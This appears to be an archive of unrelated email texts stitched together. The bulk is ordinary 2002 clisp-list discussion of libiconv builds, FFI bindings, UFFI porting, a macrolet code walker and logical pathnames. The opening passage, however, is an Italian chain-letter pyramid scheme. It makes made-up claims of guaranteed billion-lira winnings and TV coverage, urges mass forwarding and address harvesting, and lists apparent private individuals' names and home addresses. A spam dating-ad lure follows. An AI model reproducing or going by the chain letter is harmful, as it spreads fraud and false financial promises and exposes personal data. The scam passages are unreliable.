 spostala (con copia/taglia e incolla) al numero 3;
 
 5. rimuovi il nome e l'indirizzo della persona accanto al report numero 1 e
 spostala (con copia/taglia e incolla) al numero 2;

 6. inserisci il tuo nome e indirizzo accanto al report numero 1. Fatto, ora
 sei ufficialmente nel sistema.

 Fai attenzione nel ricopiare tutti gli indirizzi: controlla sempre che
 tutti i nomi e gli indirizzi siano scritti in maniera corretta
 (specialmente nel caso di giocatori stranieri).

 Dopo ciò, salva la nuova e-mail nel tuo computer, e fai anche una copia e
 salvala su un floppy disk o CD. NON FARE ASSOLUTAMENTE ALTRE MODIFICHE.

 Il prossimo passo è quello di spedire e-mail a tutte le persone che le
 stanno ansiosamente aspettando. Dopo le trasmissioni televisive, la
 popolarità di questo sistema è ormai alle stelle, quindi non preoccuparti
 di spiegare il sistema ad amici e conoscenti.
 Quello che devi fare è spedire questa e-mail, cominciando dalla lista di
 amici presente nel tuo Microsoft Outlook Express, o software simile, dove
 tieni la lista di indirizzi e-mail dei tuoi amici. Tu puoi spedire quante
 e-mail vuoi: il minimo è 5.
 
 1. Ok, ora vediamo come funziona. Supponiamo che spedisci 20 e-mail a 20
 persone. Pur essendo tutti in attesa di questa e-mail, soltanto 10 di loro
 trovano il tempo di ordinare il report numero 1 da te.
 
 2. Quelle 10 persone spediscono a loro volta 20 e-mail a testa, per un
 totale di 200 e-mail. Di nuovo, pur essendo tutti in attesa di ricevere
 questa e-mail ed intascare i loro miliardi, soltanto la metà di loro, 100
 persone, ha il tempo di ordinare il report numero 2.
 
 3. Quelle 100 persone spediscono a loro volta 20 e-mail a testa, per un
 totale di 2000 e-mail. Stessa storia, solo 1000 di loro trova il tempo di
 ordinare il report numero 3.
 
 4. Quelle 1000 persone spediscono a loro volta 20 e-mail a testa, per un
 totale di 20.000 e-mail. Solo 10.000 di loro ordina il report numero 4.
 
 5. Quelle 10.000 persone spediscono 20 e-mail ciascuno, per un totale di
 200.000 e-mail. Solo metà di loro ordina il report numero5.
 
 Ora un po' di matematica. Il totale della vincita in questo caso, dove non
 si ha il pieno potenziale di giocatori, poiché si presume che soltanto la
 metà della metà della metà, ecc. partecipi (in euro o in dollari), è il
 seguente::
 
 Per il report numero 1: 10 richieste = 10 x 5 dollari = 50 dollari = 100.000 lire
 
 Per il report numero 2: 100 richieste = 100 x 5 dollari = 500 dollari = 1.000.000 di lire
 
 Per il report numero 3: 1000 richieste = 1000 x 5 dollari = 5000 dollari = 10.000.000 di lire
 
 Per il report numero 4: 10.000 richieste = 10.000 x 5 dollari = 50.000 dollari = 100.000.000 di lire
 
 Per il report numero 5: 100.000 richieste = 100.000 x 5 dollari = 500.000 dollari = 1.000.000.000 di lire
 
 Totale: 50+ 500+ 5000+ 50.000+ 500.000 = 555.550 dollari = 1.111.100.000 lire !!!!!!!
 
 Questo è il minimo che ognuno vincerà poiché è stato ormai sperimentato e
 testato negli anni scorsi: ma se ognuno spedisce più di 20 e-mail, e così
 gli altri partecipanti, la vincita avrà proporzioni stratosferiche che
 nemmeno potete immaginarvi, ma è possibile allo stesso tempo, senza dubbio,
 succede tuttora E SPESSO di avere vincite da 12 zeri !!! Questo dipende da
 te, se hai il tempo e la voglia di spedire e-mail a persone che conosci, o
 se trovi indirizzi e-mail su vari siti Web gratuiti: non farai altro che
 incrementare il valore della tua vincita. Quando parliamo di una vincita di
 1,5 - 2 miliardi di lire ogni 6 settimane, ci riferiamo ad una vincita
 media ( dati forniti dalle varie trasmissioni televisive che hanno fatto
 ricerche fra i numerosi partecipanti e redatto delle statistiche) fra tutti
 i giocatori partecipanti. La media di e-mail spedite è di 5.4 a persona.
 Ecco perché possiamo parlare di una vincita "facile", poiché l'unica cosa
 da fare è aprire la propria agenda di indirizzi e-mail di amici e
 conoscenti, e spedire le e-mail con il proprio nome vicino al report numero
 1. Se ci pensate, è proprio un gioco da ragazzi!!! Ma se volete ambire ad
 una vincita incredibile (centinaia di miliardi) avete la possibilità di
 farlo, e dipende tutto da voi. Vi sono giocatori nel sistema che arrivano a
 spedire anche 1 milione di e-mail nel giro di un paio di settimane: vi
 lascio pensare qual è l'entità della loro vincita!!! 
 Come hai letto nella testimonianza di Claudio Tommasi, l'italiano che ha
 avuto la cortesia di tradurre questa famosa e-mail in italiano, stiamo
 cercando di far rimanere questa e-mail in Italia. Dopo la messa in onda dei
 programmi TV che parlavano del sistema, migliaia di italiani hanno
 telefonato alle sedi delle reti televisive, chi chiedendo disperatamente
 l'indirizzo dell'italiano residente in Colorado, chi dando i propri dati,
 chi implorando affinché scrivessero subito una e-mail anche a loro. Il
 problema, come è già stato spiegato nelle varie trasmissioni , è che
 nessuno può partecipare, a meno che riceva questa e-mail. Tu sei stato
 selezionato da un "search-engine" situato negli USA, che ha provveduto a
 fornire 1000 indirizzi e-mail italiani a colui che ti ha spedito questa
 e-mail, affinché il tutto potesse avere inizio. Quindi considera la tua
 posizione: se cancelli questa e-mail toglierai una grande opportunità a
 coloro che stanno aspettando che tu gli spedisca questa e-mail. Anche se
 non intendi partecipare, spedisci questa e-mail ad almeno 10 persone. E se
 intendi partecipare, ti chiediamo cortesemente di farla circolare in
 Italia, affinché si crei un ciclo di giocatori italiani che entrano ed
 escono, scambiandosi 1,5 - 2 miliardi a turno ogni 6 settimane, come in
 altri paesi. Aiutaci in questo tentativo di creare un "ramo" MLM
 completamente italiano. Ci è stato reso noto che la scorsa settimana alcuni
 giocatori italiani hanno rispedito la e-mail ad amici residenti negli USA,
 tagliando fuori milioni di giocatori italiani in attesa. Ti chiediamo
 pertanto di evitare che questa e-mail vada persa. Confidiamo nel tuo
 impegno, e per questo ti ringraziamo in anticipo. Noi siamo due studenti,
 A&W (che vogliono mantenere l'anonimato), della facoltà di ingegneria di
 Povo, Trento, amici d'infanzia di Claudio Tommasi e grandi stimatori di
 questo grande sistema che sta già funzionando alla grande per noi. Ti
 auguriamo un in bocca al lupo e buon divertimento come nuovo miliardario!!!
 
 
 
 ENTRA OGGI STESSO NEL SISTEMA, CORRI SUBITO A PREPARARE LE 5 BUSTE E
 
 BUON GUADAGNO!!!
 
 = = = = = = = = = = LA TUA LISTA DEI REPORTS IN ITALIANO = = = = = = = = =
 
 
 ORDINA ADESSO UNA COPIA PER OGNI REPORT:
 
 
 REPORT NUMERO 1 : "Il nuovo, gratuito e-mail software AGM - Completo"
 
 Ordina il report numero 1 da:
 
   Fermo Posta

   Via M.Angeloni
   
   Perugia 06100

   CI AC6191446

 ____________________________________________________________________


 
 
 REPORT NUMERO 2 : "Il completo setup di un nuovo, veloce e gratuito
 Internet Provider" Italiano
 
 Ordina il report numero 2 da:
 
  Daniele Paiano

  Via Virgilio, 13

  72021 Francavilla Fontana (BR) Italia
 
 ______________________________________________________________________
 
 
 REPORT NUMERO 3 : "Che cos'è una circolare viaggiante - Teoria, prassi,
 necessità della Comunicazione Orizzontale" innovativo contributo di
 Alessandro D'Agostini su come diffondere in modo efficace informazioni
 libere con la "MLM comunication" Italiano
 
 Ordina il report numero 3 da:
 
  Lorenzo Marcon

 
 strada santa lucia 6/d-5
 
 06125 perugia


 
 
 
 ______________________________________________________________________
 
 
 REPORT NUMERO 4 : "E-mail Adress Extract"
 
 Ordina il report numero 4 da:
 
  Giacomo Galilei

  Via XX Settembre 49

 06124 Perugia

 
 
 
 ______________________________________________________________________
 
 
 REPORT NUMERO 5: "Guida pratica al successo con Multilevel Italian System &
 Manuale in Italiano su come usare al meglio il nuovo, gratuito e-mail
 software AGM e E-mail Adress Extract"
 
 Ordina il report numero 5 da:
 
  Nicola Loglisci


  Via Pisa, 47


 70024 Gravina In Puglia (BA) Italia




  
 
 
 
 
 ______________________________________________________________________
 
 
 $$$$$$$$$$$$$ ISTRUZIONI UTILI PER IL TUO SUCCESSO $$$$$$$$$$$$$$$$$
 
 
 Appena ricevi questa e-mail, se intendi partecipare, segui le istruzioni
 relative all'inserimento del tuo nome, che abbiamo spiegato alcuni
 paragrafi più sopra. Comincia a fare un elenco delle persone alle quali
 intendi spedire questa e-mail. Fatto ciò comincia pure a spedirle, mentre
 aspetti di ricevere i 5 report. Questo ti da il vantaggio nei confronti di
 tutti quelli che ti richiederanno i 5 report (e saranno molti!!!). Una
 volta che ricevi 10 richieste per il report numero 1, riceverai
 matematicamente almeno 100 richieste per il report numero 2. Dopo quello
 hai la scelta di rilassarti e tornare a fare quello che facevi prima,
 poiché sei entrato nel "vortice" del sistema. Oppure, come spiegato poco
 sopra, puoi continuare a spedire e-mail a tutti quelli che te lo
 richiederanno, incrementando notevolmente la tua vincita finale. Dipende
 solo da quanto denaro hai bisogno!!! Puoi renderti conto di quanti soldi
 stai accumulando dal numero di richieste che ti perverranno. Una volta
 uscito dal sistema, e con 1.5 - 2 miliardi in tasca (minimo), dovrai
 decidere se rientrare o meno. E' abbastanza facile presupporre che starai
 ponderando questa alternativa sdraiato su una di quelle lunghissime spiagge
 bianche, su di un'isola remota (è abbastanza comune tra tutti i giocatori,
 non ti preoccupare!!!). Ma vogliamo ricordarti che il sistema non ha mai
 fine sarà sempre disponibile se deciderai di rientrare a patto che qualcun
 altro ti scriva. Ricorda, senza e-mail non accedi al sistema. Anche se hai
 già vinto una volta e hai "comprato" i 5 report, questo non ti da il
 diritto di scavalcare gli altri giocatori. Devi ricevere una e-mail da uno
 dei giocatori, e ripetere tutti i passi, uno per uno, dall'inizio. Questa è
 l'unica regola imposta dal sistema, per il beneficio di tutti i giocatori
 onesti. Se hai già vinto una volta è anche merito della loro onestà.
 
 
 Un in bocca al lupo e buona vincita miliardaria a tutti
 
 
 Nota originale dell'autore, ovvero colui che ha inventato il sistema più
 incredibile del mondo: "Se avete qualsiasi perplessità riguardo la legalità
 di questo sistema, si prega di contattare: the Office of Associate Director
 for Marketing Practices, Federal Trade Commission, Bureau of Consumer
 Protection, Washington, District of Columbia, U.S.A.".
 




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Hello Alex,

Sunday, December 08, 2002, 4:00:26 AM, you wrote:

>> I just managed to rebuild libiconv (just learned to
>> use patched
>> sources from cygwin) and problem has gone. Also I
>> had to build
>> and install libsigsegv from its CVS - clisp didn't
>> get build
>> without it.
> which libiconv sources are you using? i tried the
> source installed by cygwin's setup program and had no
> luck.
Did you use patch included ? I used libiconv-1.8-2.sh
script with commands at its end - prep, mkdirs, conf etc. bash
hung up with it so I used '/bin/sh ./libiconv-1.8-2.sh prep' for
example.
-- 
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> > which libiconv sources are you using? i tried the
> > source installed by cygwin's setup program and had
> no
> > luck.
> Did you use patch included ? I used
> libiconv-1.8-2.sh
> script with commands at its end - prep, mkdirs, conf
> etc. bash
> hung up with it so I used '/bin/sh
> ./libiconv-1.8-2.sh prep' for
> example.
the first time i got the source package i didnt see
the patch and script - dont know how i missed it!
the second time, i couldnt figure out how to use the
shell script so simply applied the patch. 'patch -p0
<patchname>'. then i built and installed libiconv
without hitch (well nearly - i got my prefix wrong).
i then got the fresh source for clisp, configured it,
and make'ed it. it failed the first time, but i had
left it unattended so i dont know at which point, so i
tried make again and it succeeded! i ran the tests
('make test' and 'make testsuite') and one of the
testsuite segfaulted. im going to start afresh and get
a more consistent set of results (the segfault appears
at a variable point) and try to replicate my earlier
build problem.

thanks very much for your pointers!

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> * In message <874r9xmdj4.fsf@bird.agharta.de>
> * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger"
> * Sent on 02 Dec 2002 02:10:23 +0100
> * Honorable Edi Weitz <edi@agharta.de> writes:
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> Sam Steingold <sds@gnu.org> writes:
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> > Edi, are you prepared to check out the CVS head and test this
> > change?
> 
> Yep, would be OK with me if you allow for short delays (maybe one to
> three days - sometimes I'm quite busy with other things). Let me know
> when there's something to test.

you had a week to test the patch.
so, any problems so far?

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Are you for real?..

think you replied to my personal ad!
Yes I do get a lot of responses but you got me curious I haven't done this
in a while so please forgive my nervousness. And I hope your still around,
(the good people always get taken fast) Anyway since I know a "little" about
you :) (that was cute by the way), you should take a look at me so that you
can decide if we match.
I'm not sure exactly what ad you replied to, I have a couple, but I do
have a detailed profile with a picture at http://www.hot.ee/vipsingles
Chris
Well...If you're not interested any more, that's ok too....
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Hello,

Those who  have tried to use  the package LINUX may  have noticed that
execl,  execle,  and  other  functions  taking a  variable  number  of
arguments  are  missing,  because  the  FFI package  does  not  handle
variable number  of arguments.   Well, I did  not want to  dive deeply
into FFI,  so here is  a little macro  defining on the fly  the needed
execl# foreign functions.

One defect of  this macro is that it polutes  the current package with
execl# symbols, but  since the LINUX package is  locked... (Is there a
mean  to  unlock a  package?)   Perhaps  it  should define  a  package
"LINUX-DYN-FUN".  



(defmacro execl (path &rest argv)
  (let* ((argc (1- (length argv)))
         (exec (intern (format nil "EXECL~D" argc))))
    (if (fboundp exec)
        `(,exec ,path ,@argv nil)
      `(progn
         (ffi:def-call-out
          ,exec
          (:language :stdc)
          (:arguments
           (path ffi:c-string)
           ,@(do ((i 0 (1+ i))
                  (arguments nil (cons (list (intern (format nil "ARGV~D" i))
                                             'ffi:c-string) arguments)) )
                 ((< argc i) (nreverse arguments)))
           (null ffi:c-string))
          (:return-type ffi:int)
          (:name "execl"))
         (,exec ,path ,@argv nil)))))



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Hi,

[Sam: to be included into CLISP if Pascal confirm it works.]

>execl,  execle,  and  other  functions  taking a  variable  number  of
>arguments  are  missing,  because  the  FFI package  does  not  handle

1. You could use
(def-call-out execl% ... #|0 or 1 arg template #|
(defun execl (...)
 (WITH-FOREIGN-OBJECT (exec `(C-FUNCTION ...,(construct varargs)) =
#'execl%
  (funcall #|the foreign-function object|# path args)
I.e. apply CAST, either implicitly or explicitly.
Or
(apply (FOREIGN-ADDRESS-FUNCTION "execl" (foreign-address ...)
            `(C-FUNCTION ... ,(construct varargs)))
       args)

2. However execl() is for C programmers only. It uses variable numbers =
of arguments. Most language bindings use execv(), which passes the =
argument as a pointer to an array.
No problem at all with CLISP and a very nice use of the C-ARRAY-PTR =
declaration.

Note to programmers for interoperability: design your interfaces this =
way instead of "only callable from C (and few others) because it uses =
varargs".


; from the Solaris 2.5 manpage I suggest
(def-c-call-out execv (:arguments (path c-string) (argv (c-array-ptr =
c-string)))
                       (:return-type int)
                       (:name "execv")
)
(def-c-call-out execve (:arguments (path c-string) (argv (c-array-ptr =
c-string)) (envp (c-array-ptr c-string)))
                       (:return-type int)
                       (:name "execv")
)
(def-c-call-out execvp (:arguments (file c-string) (argv (c-array-ptr =
c-string)))
                       (:return-type int)
                       (:name "execvp")
)

Now somebody go figure out why the appropriate and unfinished lines for =
execvyx() are commented out in clisp/src/modules/bindings/linuxlibcx/

(execv "echo" (vector "echo" "arg1" "arg2"))
(defun myexec (path &rest args)
  (execv path (apply #'vector path args)))
; all untested


A note on Pascal's original macro code: it looked like DEF-LIB-CALL =
might be invoked for each call. This is usually a bad thing to do. =
Looking even closely, there are several things wrong with that macro =
(like FBOUNDP being invoked at macroexpansion time). A lot more could =
be written on Lisp macros.

Regards,
	J=F6rg H=F6hle.


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Hi,

Andrei Formiga asked about CLISP support on the UFFI user list.

I came to realize that there's nothing but time that prevents one from starting to port UFFI to CLISP right now.
I myself don't have time. But I can give advice.
Kevin Rosenberg, author of UFFI, promised to integrate patches.


1. no shared libraries. what the heck, CLISP didn't have them for 7 years and that prevented nobody from doing FFI stuff. UFFI:def-function can nevertheless expand to ffi:def-call-out.
One can use the regexp or linux modules and see if that works, or create own modules and link them, as usual.

2. the newest CLISP (2.30) has with-foreign-object, with-c-var for stack allocation and unsigned-foreign-address and foreign-address-unsigned for low-level stuff.

3. What's truly missing is malloc and free, where the nice design is not there. IMHO, that doesn't prevent many UFFI examples from working. WITH-* constructs are recommended, like in CL in general.

4. convert-from-string et al could be more efficient in the future, but here's a quick shot:
(defun uffi:convert-from-foreign-string (address)
  (ffi:with-c-var (ptr c-pointer (foreign-address address))
    (cast ptr 'c-string)))

; probably fastest and with least GC:
(defun uffi::convert-from-foreign-string (address)
  (funcall
   (load-time-value
    (foreign-address-function "ffi_identity" #'c-self
     (ffi::parse-c-type '((:arguments (in c-pointer))(:return-type c-string)))))
   (foreign-address address)))

; alternatively
(def-c-call-out uffi:convert-from-foreign-string
  (:name "ffi_identity")
  (:arguments (in c-pointer)) ; expects FOREIGN-ADDRESS object, not FOREIGN-VARIABLE
  (:return-type c-string))

; however UFFI supports some keywords:
(defun uffi:convert-from-foreign-string (address &key length (null-terminated-p T))
 (ffi:with-foreign-object (ptr c-pointer (foreign-address address))
  (let ((type (if null-terminated-p
		  (if length
		      `(c-ptr-null (c-array-max character ,length))
		      'c-string) ; eventually return-from shortcut
		  (if length
		      `(c-ptr-null (c-array character ,length))
		      (error "bad combination")))))
    ;; only length=NIL case can be optimized as above (constant)
    (ffi::foreign-value (ffi::%cast ptr (ffi::parse-c-type type))))))
or simply (cast ptr type) when using with-c-var

(defun uffi::char-array-to-pointer (array)
  (ffi:foreign-address array)) ; or possibly identity if c-pointer accepts foreign-variable argument


5. There need to be some early design decision that can affect some aspects.

CLISP has FOREIGN-ADDRESS and FOREIGN-VARIABLE objects.

The latter includes the former and additionaly provides a C type declaration (in CLISP syntax). I.e. FOREIGN-ADDRESS is like a void*.

FOREIGN-ADDRESS is what CLISP yields when the C-POINTER interface specification is used in a function definition. FOREIGN-VARIABLE objects are not accepted by the call-out code (but I could change that).

Only FOREIGN-VARIABLE objects permit access to foreign memory, e.g. DEREF, CAST, OFFSET, ELEMENT etc. only work on these objects (since they need the foreign type declaration and check it).

WITH-FOREIGN-OBJECT yields a FORIGN-VARIABLE. When passed to a function, one can use (FOREIGN-ADDRESS f-v), resp. (C-VAR-ADDRESS x) for WITH-C-VAR.

WITH-FOREIGN-STRING (not finished yet) will yield a FOREIGN-ADDRESS only, because I found that I cannot return an adequate FOREIGN-VARIABLE lacking knowledge upon properties of the string and use (e.g. 16bit string, 32bit unicode etc.)

So far, it's unclear to me what the UFFI should use internally.

Comments?

Regards,
	Jorg Hohle.


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In Clisp 2.29, I notice that extended loop macroexpands into code that
uses macrolet.  When used with series (series.sourceforge.net), series
fails to process the code because it doesn't know how to walk the
macrolet code.

Is there a code walker in clisp that can be used to walk through
macrolets?  Series has support for a macrolet walker in LW and CMUCL.
Support for Clisp would be nice.

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> * In message <4nznrck141.fsf@rtp.ericsson.se>
> * On the subject of "[clisp-list] macrolet walker?"
> * Sent on 11 Dec 2002 10:48:46 -0500
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> In Clisp 2.29, I notice that extended loop macroexpands into code that
> uses macrolet.  When used with series (series.sourceforge.net), series
> fails to process the code because it doesn't know how to walk the
> macrolet code.
> 
> Is there a code walker in clisp that can be used to walk through
> macrolets?  Series has support for a macrolet walker in LW and CMUCL.
> Support for Clisp would be nice.

CLISP has a code walker, of course, in src/init.lisp

what exactly do you need?

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Date: Wed Dec 11 09:01:07 2002
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Hi,

despite years of Common Lisp, all I know about logical pathnames since =
IIRC Marcus Daniels started adding some code in 1994 is that they would =
come in my way, since on the Amiga, there are typically 10-60 valid =
pathnames like "clisp:src/lispbibl.d" and =
"devs:Monitors/A2024.monitor". I also knew that MS-DOS/MS-Windows users =
would have similar problems with them, because they have =
C:\autoexec.bat, PRN: etc. which must be passed to the OS.

I also know CMUCL's search lists, which I found very useful. Little =
overhead, easy to use. They looked like AmigaOS' pathnames. The effect =
is somewhat similar to what file-system people call union (or overlay) =
file systems.

Can logical-pathnames nevertheless be used in CLISP with MS-Windows?

How do people use them, on any OS? (UNIX/Linux/xy)
What do other implementations do on MS-Windows?

impnotes says:
>The ANSI-mandated behavior of recognizing logical pathnames when the
>string begins with some alphanumeric characters followed by a colon =
(#\:)
>is very confusing (cf. "c:/autoexec.bat", "home:.clisprc" and =
"prep:/pub/gnu")
>and therefore disabled by default. To enable the ANSI standard =
behavior, you
>should set CUSTOM:*PARSE-NAMESTRING-ANSI* to non-NIL.

What are the effects of this switch w.r.t. logical-pathnames? Is it a =
real win, because every function like LOAD, OPEN etc. suddenly accepts =
pathnames like "clispsrc:modules;bindings;linux.lisp") instead of very =
deep full pathnames?


Can I somehow say, with CLISP
(probe-file "clispsrc:src/foreign.d") like I can with native OS =
pathnames on the Amiga and also with cmucl - =
#+cmucl(ext:unix-naemstring x)?
and still have (probe-file "c:\\Progra~1\\foo.txt") work?


Observe that
> (logical-pathname "c:/foo/doc/i.html")
#S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" =
"DOC")
   :NAME "I" :TYPE "HTML" :VERSION NIL)
> (logical-pathname "c:foo/doc/i.html")
#S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO" =
"DOC")
   :NAME "I" :TYPE "HTML" :VERSION NIL)
is just the other way round from parse-namestring for MS-DOS/Windows
C:/foo -> :absolute, C:foo -> :relative

Thanks for enlightening me,
	J=F6rg H=F6hle.


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Date: Wed Dec 11 10:17:06 2002
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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] using logical-pathnames in CLISP"
> * Sent on Wed, 11 Dec 2002 18:00:07 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Can logical-pathnames nevertheless be used in CLISP with MS-Windows?

It depends.

First, note that logical pathnames do not mix well with non-logical
ones on woe32 (because of the "C:\" abomination you mentioned).

Second, logical pathnames cannot work with "bad" filenames (containing
spaces, commas &c).

So, if you are only using "good" filenames, you can enable this.

You will need to create a bunch of logical hosts first.
I suggest having a file `loghosts' in your *load-path* which will
define the following hosts:
1. "home" (where your files are, something like "c:\programs and
    settings\foo\bar\baz\whatever bill made it to be\")
2. "top" ("c:\")

see <impnotes.html#load-lpt>

> Can I somehow say, with CLISP (probe-file "clispsrc:src/foreign.d")
> like I can with native OS pathnames on the Amiga and also with cmucl -
> #+cmucl(ext:unix-naemstring x)?  and still have (probe-file
> "c:\\Progra~1\\foo.txt") work?

obviously not.

> Observe that
> > (logical-pathname "c:/foo/doc/i.html")
> #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "DOC")
>    :NAME "I" :TYPE "HTML" :VERSION NIL)
> > (logical-pathname "c:foo/doc/i.html")
> #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO" "DOC")
>    :NAME "I" :TYPE "HTML" :VERSION NIL)
> is just the other way round from parse-namestring for MS-DOS/Windows
> C:/foo -> :absolute, C:foo -> :relative

believe it or not, this is what the standard requires.

note that the correct separator is ";", not "/" or "\".
clisp supports the slashes only as a `courtesy'.

I hope others will chime in...

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Date: Wed Dec 11 10:44:07 2002
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> CLISP has a code walker, of course, in src/init.lisp

    Sam> what exactly do you need?

I don't understand this very well, but this is what the comments say:

;; CL-USER 1> (defmacro foo (x) 
;;              `(bar ,x))
;; FOO
;;
;; CL-USER 2> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) 
;;                                  (foo 3)))
;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) 
;;   (PRINT 3))
;;
;; CL-USER 3> (walker:walk-form '(macrolet ((bar (x) `(print ,x)))
;;                                 (macrolet ((baz (x) `(bar ,x))) 
;;                                   (baz 3))))
;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X)))
;;   (MACROLET ((BAZ (X) (LIST (QUOTE BAR) X))) 
;;     (PRINT 3)))

So basically, it needs to walk the macrolet forms and replace the code
with the macrolet expansions.  CMUCL uses the code-walker from PCL to
do this.

Thanks,

Ray


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> * In message <4nvg20jt0q.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] macrolet walker?"
> * Sent on 11 Dec 2002 13:43:33 -0500
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> I don't understand this very well, but this is what the comments say:
> 
> ;; CL-USER 1> (defmacro foo (x) 
> ;;              `(bar ,x))
> ;; FOO
> ;;
> ;; CL-USER 2> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) 
> ;;                                  (foo 3)))
> ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) 
> ;;   (PRINT 3))
> ;;
> ;; CL-USER 3> (walker:walk-form '(macrolet ((bar (x) `(print ,x)))
> ;;                                 (macrolet ((baz (x) `(bar ,x))) 
> ;;                                   (baz 3))))
> ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X)))
> ;;   (MACROLET ((BAZ (X) (LIST (QUOTE BAR) X))) 
> ;;     (PRINT 3)))
> 
> So basically, it needs to walk the macrolet forms and replace the code
> with the macrolet expansions.  CMUCL uses the code-walker from PCL to
> do this.

(let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil))
  (sys::%expand-form '(macrolet ((bar (x) `(print ,x)))
                        (macrolet ((baz (x) `(bar ,x)))
                          (baz 3)))))
==>
(PRINT 3) ;
T

the second value means that something has been changed.

is this what you want?

would it be useful to export this as, say EXT:EXPAND-FORM
(or EXT:WALK-FORM, or ...)?


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Sam Steingold <sds@gnu.org> writes:

> > * In message <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de>
> > * On the subject of "[clisp-list] using logical-pathnames in CLISP"
> > * Sent on Wed, 11 Dec 2002 18:00:07 +0100
> > * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> >
> > Can logical-pathnames nevertheless be used in CLISP with MS-Windows?
> 
> It depends.
> 
> First, note that logical pathnames do not mix well with non-logical
> ones on woe32 (because of the "C:\" abomination you mentioned).
> 
> Second, logical pathnames cannot work with "bad" filenames (containing
> spaces, commas &c).
> 
> So, if you are only using "good" filenames, you can enable this.

I have found that logical pathnames are most useful when writing tools
for system construction, not interacting with the outside world, for
the reasons that Sam mentions.  

If you name your own source files such that they fit without lossage
into a logical pathname, this will at least allow you to have portable
"load" forms, defsystem's, etc. 

-russ




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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> (let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil))
    Sam>   (sys::%expand-form '(macrolet ((bar (x) `(print ,x)))
    Sam>                         (macrolet ((baz (x) `(bar ,x)))
    Sam>                           (baz 3)))))
    Sam> ==>
    Sam> (PRINT 3) ;
    Sam> T

    Sam> the second value means that something has been changed.

    Sam> is this what you want?

I think this will do nicely.  I'll have to test it out though to be
sure.

    Sam> would it be useful to export this as, say EXT:EXPAND-FORM
    Sam> (or EXT:WALK-FORM, or ...)?

ext:walk-form sounds nice.  I notice that LW doesn't export their
walker::walk-form.  Neither does PCL.

Thanks!

Ray


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Raymond Toy wrote:

> Is there a code walker in clisp that can be used to walk through
> macrolets?  Series has support for a macrolet walker in LW and
> CMUCL.  Support for Clisp would be nice.
> ...
> CMUCL uses the code-walker from PCL to do this.

Then why don't you use the port of PCL's code walker to clisp?

Here are the modifications I made to it back in 1993. The
*toplevel-environment* hack is probably not needed any more, as
clisp's macroexpand function now accepts NIL as denoting the toplevel
environment.

Bruno

*** pcl.orig/pcl/walk.lisp	Mon Dec 21 22:24:06 1992
--- pcl.clisp/sept92/pcl/walk.lsp	Mon Jun  7 02:14:35 1993
***************
*** 70,75 ****
--- 70,76 ----
  	  *variable-declarations*
  	  variable-declaration
  	  macroexpand-all
+ 	  *toplevel-environment*
  	  ))
  
  
***************
*** 622,627 ****
--- 623,686 ----
  );#+(or KCL IBCL)
  
  
+ ;;;
+ ;;; In CLISP Common Lisp, the macroexpansion environment has the form
+ ;;;   NIL  or  #(sym1 def1 ... symn defn next-env)
+ ;;; where next-env is an macroexpansion environment of the same form.
+ ;;; A def entry herein is a cons (SYS::MACRO . macroexpansion-function)
+ ;;; for macros, and a symbol (a gensym in compiler, or NIL during
+ ;;; interpretation of LABELS) or a function object for functions.
+ ;;;
+ ;;; From 5.6.1993 on, this description holds only for the function
+ ;;; and macro environment. The entire macroexpansion environment is a
+ ;;; simple-vector of length 2 whose second component obeys the description
+ ;;; above.
+ ;;;
+ 
+ #+CLISP
+ (progn
+   (defmacro with-augmented-environment
+             ((new-env old-env &key functions macros) &body body)
+     `(let ((,new-env (with-augmented-environment-internal
+                        ,old-env ,functions ,macros
+           ))         )
+        ,@body
+      )
+   )
+   (defun with-augmented-environment-internal (env functions macros)
+     (#-have-symbol-macrolet identity
+      #+have-symbol-macrolet (lambda (new-env) (vector (svref env 0) new-env))
+       (let* ((new-env (make-array (+ (* (+ (length functions) (length macros)) 2) 1)))
+              (i 0))
+         (dolist (f functions)
+           (setf (svref new-env i) f) (incf i)
+           (setf (svref new-env i) #'unbound-lexical-function) (incf i)
+         )
+         (dolist (m macros)
+           (setf (svref new-env i) (first m)) (incf i)
+           (setf (svref new-env i) (cons 'sys::macro (second m))) (incf i)
+         )
+         (setf (svref new-env i) #-have-symbol-macrolet env
+                                 #+have-symbol-macrolet (svref env 1)
+         )
+         new-env
+   ) ) )
+   (defun environment-function (env fn)
+     #+have-symbol-macrolet (setq env (svref env 1))
+     (let ((h (sys::fenv-assoc fn env)))
+       (or (eq h 'T) ; fenv-assoc didn't find anything
+           (sys::closurep h) (symbolp h)
+   ) ) )
+   (defun environment-macro (env macro)
+     #+have-symbol-macrolet (setq env (svref env 1))
+     (let ((h (sys::fenv-assoc macro env)))
+       (if (and (consp h) (eq (car h) 'sys::macro))
+         (cdr h) ; macroexpansion-function
+         nil ; anything
+   ) ) )
+ );#+CLISP
+ 
+ 
  ;;;   --- TI Explorer --
  
  ;;; An environment is a two element list, whose car we can ignore and
***************
*** 1125,1130 ****
--- 1184,1192 ----
  	     (get-implementation-dependent-walker-template x)))
  	((and (listp x) (eq (car x) 'lambda))
  	 '(lambda repeat (eval)))
